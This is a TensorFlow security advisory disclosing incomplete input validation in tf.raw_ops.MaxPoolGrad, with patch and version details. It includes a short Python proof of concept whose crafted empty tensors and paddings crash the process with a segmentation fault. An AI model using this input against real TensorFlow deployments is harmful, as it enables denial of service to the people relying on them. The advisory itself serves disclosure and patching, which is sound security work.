Incomplete validation in `MaxPoolGrad`

Impact

An attacker can trigger a denial of service via a segmentation fault in tf.raw_ops.MaxPoolGrad caused by missing validation:

import tensorflow as tf
  
tf.raw_ops.MaxPoolGrad(
  orig_input = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
  orig_output = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
  grad = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
  ksize = [1, 16, 16, 1],
  strides = [1, 16, 18, 1],
  padding = "EXPLICIT",
  explicit_paddings = [0, 0, 14, 3, 15, 5, 0, 0])

The implementation misses some validation for the orig_input and orig_output tensors.

The fixes for CVE-2021-29579 were incomplete.

Patches

We have patched the issue in GitHub commit 136b51f10903e044308cf77117c0ed9871350475.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang of Baidu Security.